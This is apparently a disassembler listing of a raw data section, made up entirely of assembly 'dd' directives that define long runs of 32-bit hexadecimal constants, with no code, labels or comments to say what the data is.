		dd 8229E45Eh, 3A5710DCh, 0A990576Ah, 5C192761h,	0FA8ECA9Ch
		dd 433D992Bh, 148414E1h, 9D40DEB0h, 0C571088Ah,	1D90035h
		dd 4B28C851h, 0CC951BEFh, 1195273Ah, 4DF35C2Bh,	71960578h
		dd 1D5E4DA3h, 18C1AB8h,	0CC9F5F17h, 31BE5DC8h, 2D412F87h
		dd 17800F60h, 9DD762h, 0C902B56h, 481CD0B6h, 8898A02Eh
		dd 4EB5C5Eh, 0CBB79ACDh, 5971B861h, 0BF3BC62h, 0D88B192Eh
		dd 5A9EC798h, 8D9B3D00h, 0A2F94831h, 0A14F03A3h, 63C3EA2Dh
		dd 0C22879A8h, 0F588964Bh, 246200D8h, 0F0421122h, 784CC933h
		dd 0FB8B0456h, 0DDB6965Fh, 0A435DEE0h, 1519E12h, 5B7BD2FBh
		dd 73257F5Ch, 67FAD853h, 7C1CDBFAh, 68DCC259h, 0BE7BA104h
		dd 0FF0577B8h, 8241A362h, 4FF475ACh, 0B0786625h, 0CF92DC2h
		dd 0B6401A12h, 16B45F53h, 2DBD3340h, 2916971Dh,	0D4F0B6h
		dd 34C277AEh, 805CCB08h, 0ED61912Dh, 3F6C082h, 9412FC41h
		dd 10E216F9h, 0E2CAB0D7h, 0F1808B04h, 40AC615Dh, 7B8466A3h
		dd 0A14CDB3Ch, 360B7925h, 2133A118h, 40411F00h,	34133965h
		dd 5063E41Bh, 40D5C6E0h, 0E9255F03h, 6B3DFF40h,	0FB1B5902h
		dd 11C64114h, 726787A5h, 0BF663D5Ch, 44C57BA5h,	19FCCF10h
		dd 7F8D028Ch, 0E6BEBFA6h, 0A125F896h, 2FB7FD03h, 0EFDE488Fh
		dd 8566645Eh, 69E4D0C4h, 0B6FE4A8Bh, 3019B2CBh,	0E101E465h
		dd 80C6A41Dh, 342E66EBh, 0DE6EA868h, 1D19BD04h,	0C8A0F03h
		dd 0E4CD494Fh, 2DF50A41h, 0C03CAC04h, 8E0F781h,	3754B1Dh
		dd 969A50F7h, 44830F99h, 89B2BF1Fh, 96275B3Fh, 95C356CDh
		dd 2B09EA0Fh, 0A18DA202h, 0F8095B70h, 53D4B761h, 0E3DF12C5h
		dd 35B0501Eh, 1C814AEBh, 0E70FD781h, 0EFB3F266h, 20A93062h
		dd 0E02A3B57h, 952A71BDh, 0B597F296h, 20E32FB5h, 0B17FD0F0h
		dd 710867B6h, 0FF422513h, 438031B7h, 2FB799EAh,	92CF4801h
		dd 0E0C8F612h, 9A95F51Fh, 0DC67DCF9h, 6601D9E0h, 1232F55Ah
		dd 81C8A645h, 7BA409CBh, 18716235h, 4135F7A5h, 22EFA80h
		dd 69CBA4D0h, 41784458h, 922B42B6h, 0B6181571h,	349D9F4Bh
		dd 0FCADA83Fh, 40C802F9h, 33753C62h, 9DC123F4h,	5002261Dh
		dd 0F484105Fh, 63AF0452h, 0B2E99D6Dh, 7CBA4EF3h, 83955B80h
		dd 708B0FC0h, 0FE84AC35h, 106D258Dh, 4DA74F73h,	0F96CC1DAh
		dd 6B58D67Eh, 40629225h, 972D3DC5h, 4245351Ch, 24252688h
		dd 229613h, 42905560h, 26001C99h, 663E3598h, 4BD701BBh
		dd 0A8CB1261h, 739627A7h, 301A70ECh, 0EDFC2E25h, 601D6449h
		dd 7D37FA0h, 4D6156E8h,	0AB8A55F7h, 0FEF05BE4h,	0E8B370E3h
		dd 0BD070073h, 0A9BFC778h, 91754758h, 98BABCFCh, 6D953A92h
		dd 0A3BF1FAFh, 61251D28h, 1156C714h, 0F2093E2Fh, 359C294Bh
		dd 4AE5F80Bh, 8CF2CC25h, 0DD6675BCh, 37A29051h,	0DD2DD995h
		dd 61DB126Ah, 745AFD56h, 0C7EEDC28h, 9B6B6800h,	290DA023h
		dd 71ED4DBDh, 0E9D3B702h, 818CF396h, 24A9582h, 0DA2EF4CDh
		dd 0AF8583B9h, 4C0D909Ch, 4F031284h, 81DBBC89h,	23E1BD2Bh
		dd 7EA09D2Bh, 0A6F19800h, 0BBF5090h, 49C233BBh,	51B35903h
		dd 0B84EE9DDh, 2F623BA5h, 0DC20EE03h, 4826D88Bh, 9123C31h
		dd 1AFCEAE8h, 1FFC9D8Ch, 13A3CE6Ch, 0F20607C6h,	0DF4A00A2h
		dd 3B9966E6h, 0C4B500F4h, 4EDD01ADh, 2A019E2Fh,	5F70CB80h
		dd 1CF5BD23h, 0D2E0EC6Ah, 0ECA08DB6h, 0D50F1E7Eh, 2949D822h
		dd 0AFD190h, 0CAC64CC7h, 0BB70BE3Ah, 0FEDCB707h, 0D100455Ch
		dd 179A60EBh, 30E87A07h, 0D9C54D43h, 357C3100h,	799C010Ah
		dd 56B3159Dh, 9804CE5Bh, 0FEDA8B90h, 7F0BDE6h, 0BC7BCD4Dh
		dd 1D34D759h, 73E5D18Dh, 4302AD7Ch, 0F9568341h,	0DFCDD569h
		dd 566C1462h, 5DEE41DBh, 6D47E874h, 97309900h, 6E28F558h
		dd 325F90D8h, 0D18F2F2Dh, 25D9FC41h, 33282BCDh,	9D29886Dh
		dd 68959h, 32B7026Ah, 120EBB50h, 0C4090D66h, 4E80CACAh
		dd 0AC83E5DAh, 6F9879ADh, 18127145h, 3F61B864h,	0CFC4878Fh
		dd 6E800093h, 0FE4F5AC0h, 0F82D3BEDh, 9F821097h, 4DE509F5h
		dd 80DD7433h, 1930BBECh, 8CCC00A3h, 997AC67Ch, 0E97A5F5Bh
		dd 203F1C97h, 8B2CC6ADh, 7CDEE7FAh, 0DE8B0431h,	0B80E1205h
		dd 2EDDD436h, 0A109A490h, 3D9850D3h, 561291ABh,	0A486B85Fh
		dd 32A04FF6h, 72018794h, 10931FA3h, 0A97088B5h,	4BF6F664h
		dd 7A298916h, 0C84BEF7Ah, 9B90C0ABh, 0B9469B95h, 0EDE66AFBh
		dd 682BEEA7h, 30A96B02h, 78475B77h, 505CA290h, 38544AF4h
		dd 11BD0940h, 424B7123h, 0B007011Eh, 30C38000h,	81704BE6h
		dd 3571E4FBh, 0ADD644EAh, 33053644h, 0CD3121Ah,	943E0F8h
		dd 145A857Dh, 4E7ED5A6h, 0E2C4528Ah, 0BC57009Eh, 0E369634Bh
		dd 554158F5h, 0AEEB8009h
		dd 48B65070h, 17FD0540h, 0FBA300EEh, 80DBC2DCh,	7B1D71E6h
		dd 51ED75F4h, 25FA4CE2h, 482B2C40h, 1AC090C8h, 5E6486B6h
		dd 0C6ACDA00h, 5D3937AAh, 14B40265h, 0B1220407h, 0E1072658h
		dd 7FBB5CD4h, 610C3E10h, 0D18B275Fh, 78A52AF9h,	62A5849Ch
		dd 8BFC1779h, 2B259057h, 35A54C9Dh, 0C207C085h,	3857A168h
		dd 8C2F2D7Eh, 8C811845h, 0E96934DBh, 60159E48h,	1792E294h
		dd 40043C70h, 61090AF9h, 0E3A07971h, 6E88DF4Bh,	69469C28h
		dd 625B54A9h, 3433CE28h, 0AC9A452h, 19589B7h, 9D5A71Dh
		dd 86A5B75h, 0FC2445ACh, 0CDF52112h, 54BCE639h,	619D554Bh
		dd 0FC36FC3Eh, 2863007Ch, 151CD69Ch, 0FB20B9BEh, 5689950Eh
		dd 77082DBh, 0FCE8258Eh, 0B2C5DFCDh, 15269DC0h,	0E3500180h
		dd 35B589D2h, 1D452E28h, 0AD23870Fh, 7BFF84BAh,	91A700DDh
		dd 499CF11Fh, 9841422h,	4D17E2E1h, 81159230h, 3C563289h
		dd 0E12040D2h, 0E828229h, 30D51E9Dh, 1DABBA5h, 952FBC2h
		dd 380B25B5h, 61B6B4EEh, 0EDD1AAA0h, 0A90127F8h, 8C6CBBD0h
		dd 96A75E4h, 0C1560212h, 0D408FC5Ah, 6AA8FF07h,	0EC7CEBE1h
		dd 5F264081h, 64251797h, 6F4F6017h, 888C4EAEh, 3300B34Ch
		dd 0FA566302h, 983CCA78h, 0F9014405h, 69606EADh, 26A3A4A8h
		dd 8355229h, 5B1213F9h,	0EB963FE2h, 27A90D84h, 169836B8h
		dd 5B12A125h, 0BBB709E0h, 0EDAD4D71h, 0F8D4C906h, 0F504F3EFh
		dd 3FAE1EDDh, 2D1A2309h, 56319A7Dh, 10C2518Eh, 3CD6C781h
		dd 8A4BF4D2h, 19B34A88h, 603114F2h, 6B9E282Eh, 0EC85045Dh
		dd 0D8710705h, 4F19E7AEh, 46D9F45h, 0E42E95FFh,	0F898F85Ch
		dd 0C2915125h, 70937BA0h, 0EB04E760h, 0C675612Eh, 0B16112BAh
		dd 0C0F41BBFh, 2AE0F27Dh, 25487472h, 9450DE20h,	0C7568E8Ah
		dd 7B014789h, 516ED02Dh, 0F8BF0F12h, 1BACEDADh,	0A52F008Ch
		dd 88912617h, 80124571h, 8BF8BFD7h, 0AD49C412h,	891CADF4h
		dd 967F003Dh, 0F1E93F65h, 2B549A6h, 2D1B4535h, 0DEBD0258h
		dd 0FE52955Ch, 4A1440CAh, 3A002E62h, 0D7D4915Ah, 0B557335h
		dd 6057D094h, 0AB5B7284h, 1D4ECF27h, 8980D994h,	70EFDB58h
		dd 0AA0B72ECh, 0D8852F3Bh, 0E14D957Fh, 0DF601A64h, 8E0B06BEh
		dd 0C155A7B9h, 752E2134h, 38F6ACA3h, 4B8C4B8Dh,	4163B809h
		dd 20E9E017h, 6DB70270h, 9F36E015h, 0E325805Dh,	9578C6C4h
		dd 56D29AE5h, 0BDDF2778h, 3D1700BFh, 8B9DC7B6h,	0D0DAAA13h
		dd 2FA6C9FAh, 4BE68A81h, 0B199372Eh, 2E4779BBh,	6B438335h
		dd 0BD896048h, 0BD9D9680h, 0A6B38A1Bh, 2BE58DE8h, 0DF460DC9h
		dd 0B60F56E4h, 60AA7FE1h, 2F36C259h, 0BF3D01D6h, 6C69A28Fh
		dd 47FECC94h, 610A964Ah, 5304E450h, 0DEB8615Fh,	4118C480h
		dd 3700490Bh, 4DF2588Eh, 0A3F090Ah, 9661DAADh, 8F00DEC1h
		dd 3CD8BFB0h, 24EC7A0Bh, 0A85BD249h, 934D95B0h,	69611564h
		dd 7CC82B31h, 7810095h,	90C7532Bh, 4D01A328h, 70526891h
		dd 0FD3C9B94h, 0C64F9280h, 5D7D4E1Bh, 0E463980Fh, 44754017h
		dd 0B2493B3h, 577BF53Dh, 0BC0088C4h, 91F17AEEh,	0CF8D21h
		dd 0C23E7019h, 0A704AAF5h, 4AF9F648h, 93AD50C0h, 0DB644A8Ah
		dd 80E58F7Eh, 0B5290CF7h, 9D244B39h, 55AC3E6Fh,	49DFB993h
		dd 902EBDB8h, 0D4991E1h, 9B81B64Ah, 9A6B6568h, 0C215C805h
		dd 985EF6BEh, 0B81E6B40h, 0A9EF0089h, 81C29228h, 0E898EC36h
		dd 198A1406h, 40F03125h, 231D611Ah, 5BED2DBDh, 763569D8h
		dd 3285D780h, 11D7A82h,	0ECDB814Fh, 2B194AE0h, 0E150AA28h
		dd 80F7DE2Eh, 2743F575h, 0C4ABA85Eh, 31A89830h,	0E9C8042Dh
		dd 56DE3B3Bh, 11A28CCFh, 8C5C47ACh, 1585C975h, 4AFCECD5h
		dd 0C2228ECAh, 4D959298h, 68B82FA7h, 16952359h,	0C14D97BFh
		dd 0AD88DD40h, 9CB3253Dh, 9D2D4ECCh, 0C9A759F5h, 0C0808835h
		dd 1E3E94CBh, 91685015h, 611A979Ch, 7F8D45C0h, 0C90081B0h
		dd 36BE6096h, 2741ED99h, 0FC715061h, 0B8C37BBh,	25BB9600h
		dd 4FE5299Fh, 66EDA586h, 0CC1331E1h, 1D62BE8h, 294C36A1h
		dd 2A0C05BDh, 1CC880DBh, 4D20C5C0h, 244370C0h, 0A01496Fh
		dd 0C1B0D9BFh, 2EBD3160h, 807313D7h, 540BE2F1h,	0E3326E0Ah
		dd 0EB810190h, 4DE98221h, 7C082A19h, 89011D1Ah,	0A8C53151h
		dd 5028D3ADh, 0B973F92h, 0C446768Ah, 406CB8DFh,	0B84BC4E7h
		dd 0EC316F8Ch, 0B7265A25h, 428B20ABh, 43AF5A2Eh, 63A5C3C0h
		dd 0DBB0188h, 0BF852000h, 3184C153h, 7565955Fh,	9F393151h
		dd 60E28612h, 19529B1h,	1FE22C4Fh, 2E53BC93h, 253927C2h
		dd 7E0C1A52h, 0CABE006Bh, 0BF585AC7h, 3C9BF504h, 18B86143h
		dd 8BC7849h, 47977509h,	24AF876h, 0A9CCD781h, 83B7146Fh
		dd 0F5811811h, 6BD7B95Eh, 730CDC49h, 25E7A05Bh,	34C53339h
		dd 803AC53Dh, 0BB5096F0h, 0EEC4580Eh, 1BB6F216h, 5FCFA3E0h
		dd 80690739h, 0FCD0DCF1h, 1619C780h, 52E5BD8Bh,	0AA7DB822h
		dd 0B09B50h, 11CCF69Bh,	0BF9A49C4h, 22C67209h, 0A312712Fh
		dd 4C735864h, 5FA33200h, 4288EC8Bh, 0EDB51301h,	23DC7A13h
		dd 1F6A001Ah, 0ACA8A110h, 718B2C2Dh, 0ED7B490Ch, 220F1650h
		dd 31160686h, 0AB8BD8Dh, 5F2B38F2h, 0FD85A3E0h,	8FC5BDB7h
		dd 0CFA12CCEh, 20771FA8h, 525BF76h, 0BB9DC01Bh,	0C45412BCh
		dd 0D688E317h, 82C4C29Ah, 584AB8BDh, 0F3569F4Dh, 0C0F19BAAh
		dd 5BE5D32Ah, 9A5D178Ch, 656C8D2h, 0CD686901h, 0DB960D29h
		dd 20DD8A01h, 1C4BC56Ah, 9B2F839Dh, 0ADA5835Ch,	0BD89A860h
		dd 18A99619h, 2D71E25Eh, 92BBEEBCh, 91AD2AA9h, 43BB6607h
		dd 820F6241h, 0BA0CE75Bh, 0B0608AA2h, 53E89551h, 0DD4A8529h
		dd 7720575Ah, 385850F3h, 0D7FC00CAh, 0ECED296Dh, 9ECBBD6Ah
		dd 41AB5C0Dh, 2707D668h, 4AD4A092h, 0B2073A22h,	513C25Fh
		dd 3979F67Bh, 8B4D306Eh, 8A5A50DAh, 816907EEh, 887A11EFh
		dd 0A7986B16h, 0EBF5002Dh, 0A5486D64h, 1800725Ah, 977769AFh
		dd 5EFE8A59h, 0CD6F6Ah,	6E4FCA3Dh, 5F943815h, 58CE4B5h
		dd 0CE551F41h, 0A4E5B6BFh, 371CFF6h, 0FE7ECC95h, 64CEA18Eh
		dd 4B020D20h, 1AC29D5Bh, 38C7C0AFh, 2F27DB80h, 8CDBD1FFh
		dd 5C1B1270h, 0DA25A83Ah, 6B11C7C5h, 11B28924h,	0F4937402h
		dd 6D3478h, 0D6278B58h,	8D890B85h, 50DFC995h, 392ED8F1h
		dd 0C0615AEBh, 0BDA3D8ACh, 7B702FFCh, 0B1072F64h, 9DB7C7C0h
		dd 6CC450B7h, 72E1C5B8h, 2FF806D6h, 6FBD2CE9h, 6B725F01h
		dd 95766545h, 0C6040D48h, 0B8615951h, 83DBD3D3h, 0AA3D2381h
		dd 0F2569250h, 62D60CACh, 5BF561B4h, 0E4B8D341h, 0CE9956D8h
		dd 31823380h, 1297EF77h, 0F65BD9C1h, 0BE04E23h,	849D4B42h
		dd 0FCC3E8FDh, 52028C19h, 0D71C780Ch, 6F72C00Dh, 0B5469FA9h
		dd 76B16004h, 4CEDB589h, 55736125h, 0E0E9BD3Bh,	0F64A502Fh
		dd 71532E1Dh, 0F04D132Ah, 0CE09BBCBh, 7362368Ch, 602D11D5h
		dd 382651D2h, 73E1BF37h, 58CC2AB0h, 0D63600DBh,	94875606h
		dd 7302EB5Ah, 0E69510B3h, 7F444670h, 0D83A0FA7h, 4B61EB1h
		dd 0B85D2526h, 133176FAh, 9608E477h, 0ECFD4C2Eh, 0BD17013Bh
		dd 69F92E25h, 5FC7D880h, 2908150Fh, 0A52D3D95h,	0FC5E0FC2h
		dd 0C1FE900Bh, 4423BABCh, 84FF9941h, 8262B105h,	0C642C175h
		dd 1101DADFh, 602AF5F7h, 2B0DFDA0h, 0B760B8C8h,	9BE9C7C8h
		dd 10EB55D4h, 2A761CB5h, 0B0C86995h, 8190B676h,	0A24EF2BBh
		dd 42902B12h, 43A0EACAh
		dd 31D91176h, 0C1B5A29Ch, 0E901252Dh, 9817B160h, 982B9DADh
		dd 0F888123Bh, 32553899h, 183D1980h, 0CACCC160h, 0B2BA7802h
		dd 5CA5C05Fh, 523644D6h, 44380FA2h, 0EEAA600h, 0BD9910A7h
		dd 98DE3297h, 0DA8742Dh, 9E427F89h, 0C7906FEh, 227A559h
		dd 2D40C2BBh, 0C2E45C52h, 0FE0B54A7h, 1E31C5F5h, 660B60E9h
		dd 0ADB59AB8h, 232C2620h, 0B2DBB6D2h, 3A6C301Dh, 52E44000h
		dd 0B7E0957Fh, 0CDBAC43Ch, 0D5B90B2Eh, 860F4E60h, 0E3047BBBh
		dd 0EEB8177Eh, 28253262h, 3A04F20Eh, 0E6FA2BFAh, 3763E016h
		dd 0E9E10178h, 0E8A526B3h, 0F7F74028h, 2BE1BA03h, 0EF249B7Bh
		dd 0C5DD1235h, 0FD6DAA2Fh, 83C0A61Ah, 0D316A3DBh, 4554D100h
		dd 9D015CC8h, 29224055h, 0BAE5B54Bh, 0E5E7A000h, 0D7416B6h
		dd 0CFF49E88h, 9F0BDD2Bh, 850921A2h, 48691F69h,	617F7931h
		dd 5F82AD5Fh, 2AD67E8Bh, 41946D6h, 6B1C0C36h, 25ECBBC5h
		dd 1506E780h, 6F0437E0h, 56A1F6E6h, 0DB921ABCh,	0BADEC0BFh
		dd 25D27E58h, 14E5FE8Bh, 6DB7BB60h, 0E6145DEAh,	0CFE436BCh
		dd 82F4FF69h, 5CDEBFE6h, 1FBA51E2h, 9D09FC80h, 0BF80132Dh
		dd 494838B8h, 6279E174h, 0D802B1ECh, 0E3A87EEEh, 0F29057EAh
		dd 4F006285h, 0C06C3596h, 7723BDE8h, 189A97A2h,	574BF27Ch
		dd 0FE8BD647h, 57A5157h, 807BE0A9h, 0BBBC272Bh,	29FB3E0Eh
		dd 324CA013h, 0E25B7888h, 0C5E156FFh, 0E468BAF0h, 26DEFA1Dh
		dd 7E8933AEh, 461F7916h, 0ED975AE6h, 0D547E04Fh, 0F84B8A61h
		dd 0D43539CAh, 0B8AAA95Bh, 0EF8F0E22h, 8EC9675Fh, 24319782h
		dd 866274F1h, 7B611269h, 4060021Ch, 952649DDh, 1ABCC0C4h
		dd 78378709h, 0DC8D9400h, 0FA77D607h, 0B710E36Fh, 0C473F4C9h
		dd 0BC2341A0h, 0A73AC801h, 89B51770h, 211555E2h, 0EFC4D74Bh
		dd 0FBDDBA95h, 0C4745128h, 575F90F9h, 0BF5B5BA0h, 0FABBED80h
		dd 73130C1Ah, 3988310Fh, 22B61EDEh, 0ECF1C07Bh,	79C878Eh
		dd 0E1FC5C02h, 0D5585A45h, 0B83D7B7h, 5A4EFBA5h, 0BA6E3Eh
		dd 7809ADFCh, 992E73h, 68E2DF80h, 0CF867CB3h, 4151602Eh
		dd 41804765h, 4F1319C0h, 4CF8F45Bh, 30988713h, 0ECE592A6h
		dd 4BC70990h, 0BDF55131h, 0CAB8DB01h, 6A896CAEh, 88C2209Fh
		dd 0A957E9DBh, 0C1DEF6F6h, 6A280D9Dh, 3E71D7DDh, 7ED2122Bh
		dd 0CFF871BDh, 25EB3458h, 9FC5C419h, 2E807F37h,	9FCFE33Bh
		dd 956B737Ch, 11A3E04h,	0D01EBF66h, 0BD71982Bh,	210B2523h
		dd 683EF963h, 980220CBh, 91BD128Bh, 9811F20Ch, 970FB91Ah
		dd 824B1193h, 0EA96CC93h, 0BCF45A87h, 61606256h, 27BE597Fh
		dd 842D8F79h, 2E6680EBh, 965F9CA0h, 5D8D891Ah, 69E45661h
		dd 4583E020h, 0C304EC68h, 0A8B3141Fh, 13CF81ABh, 8DCAC3C0h
		dd 11CFB557h, 791C8016h, 4B9D311Dh, 50EB0BBDh, 17F95A18h
		dd 83EB0A0Fh, 68054095h, 92BBE9B9h, 0A25CD430h,	18FB6E5Eh
		dd 0EBE61BDAh, 0B6F25AA0h, 3017B246h, 0A8245A3Bh, 0D438B87Fh
		dd 62B761E8h, 5A7C56D4h, 0BC8D6D80h, 94957BA9h,	27396995h
		dd 17007671h, 748EDB40h, 0F2F64Fh, 0B52A75BDh, 5A6E3A9Ah
		dd 0A3DFED1Dh, 28F0F84h, 0EA03524Bh, 113F2DE9h,	0F8CA857h
		dd 0DE5F5038h, 68DD7C1h, 4151B3ADh, 55F325DDh, 7820B351h
		dd 0F901480Dh, 0B8776184h, 28FEA263h, 0ADF159CCh, 8BB7DF1Ah
		dd 97EA8C08h, 3A9AC9FFh, 0EAC07B9Bh, 5C9807E8h,	44239F1Eh
		dd 8F8BF81h, 206E0CCDh,	623A26F1h, 0D3B47E25h, 0CEF4008Fh
		dd 9575D697h, 9530AE5Fh, 407D8509h, 1A975F0Bh, 0CC1AFDA3h
		dd 3167F354h, 552A69C2h, 0F1CDE5BAh, 0B68071E4h, 99699D33h
		dd 52B51CC4h, 9304E830h, 0FD5EAE09h, 0EEBF5AE0h, 0A42A6841h
		dd 0F3178143h, 38FDBB23h, 0D78004DEh, 0C07FB81Bh, 56BE781h
		dd 6B5E52DFh, 47BB6604h, 9D8AAC5h, 0B2521BDh, 0CBF0B36Fh
		dd 612640B1h, 6FD990B7h, 0B453000Ah, 2C1184EAh,	0D602E574h
		dd 292D26ABh, 0A5F359ADh, 0B400A9D9h, 8E50F5F0h, 10479463h
		dd 0C25F2510h, 92C657h,	6574ACD0h, 75CA2325h, 0C5545101h
		dd 53D47DBAh, 0C863132Eh, 0F6024E73h, 140D6779h, 696B5C3Eh
		dd 20432BE0h, 336A1897h, 240D20BDh, 0E5D322C2h,	0DAF3DDC0h
		dd 1AF03F7Bh, 9BED5E00h, 8529261Dh, 5FA4EAB7h, 3706F9Ah
		dd 80321495h, 9FC672CDh, 853A256Ch, 7296C055h, 604FAD50h
		dd 23973122h, 87A43C07h, 0BD8224C2h, 0AD97D0F5h, 6018C4DBh
		dd 5C811E8h, 0BF0F2268h, 52ED1EFBh, 954E71Ah, 71F5C7B3h
		dd 0BE3C4453h, 5F056270h, 14000BDh, 0D471C9FAh,	0AF0069F7h
		dd 6BC61FB0h, 0E505749h, 0A0111BBBh, 0FAD2AAF6h, 0FC98A931h
		dd 7F2F43FBh, 982142B8h, 0FFEB660Bh, 68550005h,	4A0EACDEh
		dd 0A0F6CA5Bh, 93E517Fh, 3329DB31h, 0CE1C957Eh,	350958E4h
		dd 59577361h, 0FF1819h,	7FFE51BFh, 0F58D01E1h, 30FB2A5Eh
		dd 442CC1D4h, 6892482Bh, 4EF37F8h, 7CEEE6D7h, 0A511C2A8h
		dd 0BA95CC58h, 50B37B62h, 8014C31h, 0A28B1513h,	71E7210Dh
		dd 251A4E62h, 5092223Ah, 5AD2560h, 97615B80h, 4F447514h
		dd 0BBB82460h, 30161355h, 9BA7CF55h, 0F6D2AF00h, 80F986F5h
		dd 983A0254h, 6142FB19h, 38796C55h, 4E47399Dh, 3780259Ah
		dd 45F6E2ADh, 25B50239h, 648CCFC5h, 0D4BF6018h,	55A62415h
		dd 8E906099h, 8300DBA3h, 0BE032505h, 1CD975C2h,	2C90BC1h
		dd 0AEE9F8B5h, 56259F5Ch, 9272DCF1h, 5C930B02h,	60C18B48h
		dd 970469A3h, 4D58E3Ah,	87E890BCh, 0DA085033h, 0C8DBABC4h
		dd 0F274D380h, 0A1029B51h, 0A7E82ABBh, 3FA2556Ch, 100D2199h
		dd 0B00B65FCh, 5E8EC49Bh, 0A3E6FFE5h, 4A4218F2h, 8F954772h
		dd 0C9DF294Dh, 0EB05FAF3h, 98F03036h, 7E6416BCh, 6C9BBA6Ah
		dd 0DEE02682h, 0FA96F5DCh, 71C4A5A9h, 0B52D2911h, 23179EB8h
		dd 8453A9BDh, 96E2C5FCh, 0F64CFCh, 0BC13E182h, 938F1667h
		dd 0AB874028h, 4317920h, 9509026Ah, 90229275h, 0E40084F9h
		dd 4A4914D6h, 11C60105h, 82B3507Eh, 0F05E2690h,	17E25549h
		dd 57B1D8Eh, 0BAB52DAFh, 17239E6Bh, 5BB1BF03h, 2DD610F8h
		dd 60E9122Ah, 685E38ABh, 6E6BE541h, 0F70073EFh,	0F8078817h
		dd 4C51083h, 0FC353DBBh, 12BCA86Eh, 0F2B71580h,	7B6A5Ah
		dd 0E99386EFh, 2597A0CDh, 0ED51830Fh, 8E169440h, 0F99B0909h
		dd 4D02E383h, 90021AC5h, 0BB8E4056h, 0CC3F1E5Fh, 0BCD6C3Ah
		dd 7562D65h, 2F1A7652h,	0DF511509h, 0F4C3DC25h,	9498CF00h
		dd 6CD88F55h, 13784CD5h, 0AE106517h, 2495F8DBh,	52C1EEC0h
		dd 0D729E8DAh, 0E0808960h, 0FE8D1635h, 0B8B9E483h, 376FED85h
		dd 32D4F065h, 960004BBh, 9AB1FC0Ch, 123472FEh, 0C16A26F8h
		dd 281A15A0h, 0D42DB31Ah, 0DEC28ABh, 70DE8B88h,	0D54CB5B0h
		dd 1349BD10h, 70E6F50Fh, 0BAFA9FEh, 0B40B71E4h,	0C4A700FCh
		dd 9F1700EBh, 454BAE74h, 0D65CB885h, 6D511EB4h,	13E45F52h
		dd 0B4C68AD0h, 8A0BAC00h, 0A0DB22D6h, 4BD42FD5h, 0F595F89h
		dd 0BAD98B05h, 0DCC16C4Ch, 0B21D5A85h, 24FE5A5Bh, 4805ACC9h
		dd 0A791054h, 81C82B00h, 0FD36A6EFh, 0D18B091Ah, 0E9E7E844h
		dd 0B82D9183h, 857243CBh, 5F8B4C44h, 1E456012h,	9899D6ACh
		dd 0D1468ADFh, 4A380C25h, 1C951ADh, 2224D4D9h, 0E90A152Ch
		dd 0DA12384Bh, 60240AE3h, 0DD09188Bh, 9C1EBA66h, 0AA7D61D6h
		dd 4595CC05h, 93112DBh,	0DB562495h, 34E38158h, 95855B2h
		dd 0BA416067h, 7F0DE929h
		dd 0F7A9BBD4h, 18652B84h, 270EF6B4h, 6A6FFB8Bh,	7D54C940h
		dd 0FB31005Eh, 0ADB47C7Ah, 320BC781h, 5640BC9Dh, 1946D64Ah
		dd 3A8E090Eh, 0AE770E24h, 3C01B9C8h, 6E003BFDh,	0F5E5ED98h
		dd 700BC33h, 0B9E1A83Ch, 0BF891480h, 5F9E955Ch,	12106489h
		dd 0A53E5CA1h, 0CAF91D61h, 0BBE0BFEDh, 982CABEh, 2D8D0922h
		dd 0C2B81C41h, 61D34F57h, 2ECA961Ah, 9D233320h,	1E2B49D5h
		dd 0C1B9BB09h, 0D3691B73h, 0F84C5092h, 0C2050E01h, 60315C2Ah
		dd 0EBB57020h, 257CAC05h, 709FD361h, 7700DD40h,	3D8671ABh
		dd 0BB880D6Fh, 0F7DBF025h, 0AB99B61Dh, 50EEB280h, 9EF98B21h
		dd 85B36233h, 74E9F856h, 60B5D46Ch, 2834D83Eh, 2EC37F8Eh
		dd 4EBF1BA5h, 3D56174Bh, 0D44DB776h, 720A0C40h,	856C1E68h
		dd 501B89F9h, 0F46A7C74h, 151FED08h, 0C5BCFD5Fh, 57E9501h
		dd 0CEC658F2h, 0B243123Fh, 37698D32h, 0AC04BD6Bh, 0A58A91E9h
		dd 3A0600C1h, 245B18A7h, 2040EF06h, 0E2281957h,	3CA400E3h
		dd 0D02ADD7h, 0BF1D4F81h, 0CF415461h, 656C9358h, 2EE122Bh
		dd 11598DB4h, 0EC0036D3h, 952C20DEh, 9D89091Fh,	22C63041h
		dd 93E13095h, 0D98A8004h, 4690BF04h, 0C8AC657Bh, 29029AA3h
		dd 0B2A4FEBBh, 51A55624h, 29258952h, 8FA4578Dh,	0E008B660h
		dd 93A23863h, 0E7810001h, 39158DC8h, 5BC98B95h,	676E70B0h
		dd 0E3902800h, 0C9773B92h, 11A7BCB4h, 0DA25B11h, 7DC1D300h
		dd 6FD55D29h, 6122941Ch, 0D8655F5Ch, 9563255Dh,	2CFC07C2h
		dd 2F6878DCh, 0DD0494B3h, 254B5411h, 7D05C861h,	74F39501h
		dd 194E3D0h, 299A77F6h,	72EB19Dh, 1381BD21h, 792B2D2Eh
		dd 1625A898h, 0AC195FC1h, 301AAD9h, 0B7EED0BBh,	5B0E30Fh
		dd 0A4A2233h, 20EE0F84h, 0EF97ED91h, 5335B70Dh,	7F33DA29h
		dd 8002DE4Ah, 0FD9647F7h, 190D242Ah, 51109h, 0E5EE9EBBh
		dd 1226686Ch, 0BB418885h, 0FE8A8531h, 0D9A8032Ah, 0EDFC9786h
		dd 0ED7BB92Dh, 5FCD5872h, 6ABE6575h, 67E6244Dh,	725CFD05h
		dd 16DE09E0h, 8F8589D8h, 0C116C894h, 8039FFAFh,	8C72DF52h
		dd 9D01CAE9h, 0EAD05473h, 85A60005h, 746E6C5Bh,	0BB047D6Fh
		dd 1BBFB818h, 4D348B8h,	410ED4Dh, 8AAA5F52h, 0CA94A0FEh
		dd 0E2000B0h, 0A393C07Dh, 1997F5CEh, 372EF951h,	89FAD225h
		dd 4ADE65F4h, 0D268042Fh, 0ACE8BD48h, 0F94A8C14h, 76E0B1C9h
		dd 47F61C24h, 0ABA8C16Fh, 6A302F40h, 71FB29C4h,	2A280DD7h
		dd 9A5AF7A6h, 0E4A2828Bh, 250BFFB4h, 0FA2FD870h, 0E0B06DC0h
		dd 0F6B0D04Eh, 0EC6B3B0Fh, 0EB804268h, 0E64E7589h, 0BB3569h
		dd 211D669Eh, 20524B50h, 0E67330C8h, 0FCA53201h, 83D0918h
		dd 0D863C96Bh, 82076083h, 0D39824D0h, 178EFC11h, 34E4C23Bh
		dd 0FFAC2163h, 4EA4755h, 210265E8h, 14C09FAh, 54EBFF56h
		dd 36BF4068h, 7BEDC7C2h, 6E2F8189h, 342200D5h, 0EF0C7728h
